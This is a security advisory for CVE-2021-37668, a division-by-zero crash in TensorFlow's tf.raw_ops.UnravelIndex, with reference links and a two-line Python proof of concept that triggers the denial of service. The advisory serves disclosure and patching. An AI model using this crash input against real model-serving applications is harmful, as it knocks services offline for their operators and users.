CVE-2021-37668: FPE in `tf.raw_ops.UnravelIndex`
(updated )
An attacker can cause denial of service in applications serving models using tf.raw_ops.UnravelIndex by triggering a division by 0:
import tensorflow as tf
tf.raw_ops.UnravelIndex(indices=-1, dims=[1,0,2])
References
- github.com/advisories/GHSA-2wmv-37vq-52g5
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-581.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-779.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-290.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/a776040a5e7ebf76eeb7eb923bf1ae417dd4d233
- github.com/tensorflow/tensorflow/security/advisories/GHSA-2wmv-37vq-52g5
- nvd.nist.gov/vuln/detail/CVE-2021-37668
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